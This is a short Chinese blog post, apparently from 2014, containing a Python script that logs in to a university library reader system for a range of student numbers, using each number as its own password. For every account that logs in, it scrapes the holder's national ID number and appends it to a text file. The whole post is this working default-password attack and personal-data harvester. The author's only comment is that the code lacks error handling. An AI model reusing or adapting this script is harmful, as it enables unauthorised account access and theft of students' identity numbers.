Python 获取学校图书馆OAPC账号对应的身份证号码

 1 import urllib.request
 2 import urllib.parse
 3 import http.cookiejar
 4 import re
 5 
 6 lib_login = 'http://xxx.edu.cn/reader/redr_verify.php'
 7 
 8 def get_info(number, passwd, myfile):
 9     cj = http.cookiejar.CookieJar()
10     pro = urllib.request.HTTPCookieProcessor(cj)
11     opener = urllib.request.build_opener(pro)
12 
13     postDict = {
14         'number':str(number),
15         'passwd':str(passwd),
16         'select':'cert_no',
17         'returnUrl':''
18     }
19     postData = urllib.parse.urlencode(postDict).encode()
20     op = opener.open(lib_login, postData)
21     data = op.read().decode()
22     log_ok = False
23     is_login = re.compile('<font color="blue">.*</font>')
24     for x in is_login.findall(data):
25         login_ok = re.compile('<[^>]+>')
26         login_ok = login_ok.sub('', x)
27         if login_ok != '':
28             log_ok = True
29         else:
30             log_ok = False
31     if log_ok:
32         person_id = re.compile('身份证号: </span>\d*</TD>')
33         for x in person_id.findall(data):
34             usr_psw = re.compile('<[^>]+>')
35             usr_psw = usr_psw.sub('', x)
36             usr_psw += '\n'
37             number = str(number)
38             number += '  '
39             myfile.write(number)
40             myfile.write(usr_psw)
41             myfile.flush()
42             print(number + 'OK')
43             print(usr_psw)
44         
45 f = open('wifi2013.txt', 'a')
46 for i in range(2013002734, 2013003980):
47     get_info(i, i, f)
48 f.close()

   此代码逻辑简单缺乏异常的处理,实在是刚入门Python的很差的代码,后续可能把它继续拿出来优化

posted @ 2014-11-13 17:53  剑指天涯不可挡  阅读(277)  评论(0编辑  收藏  举报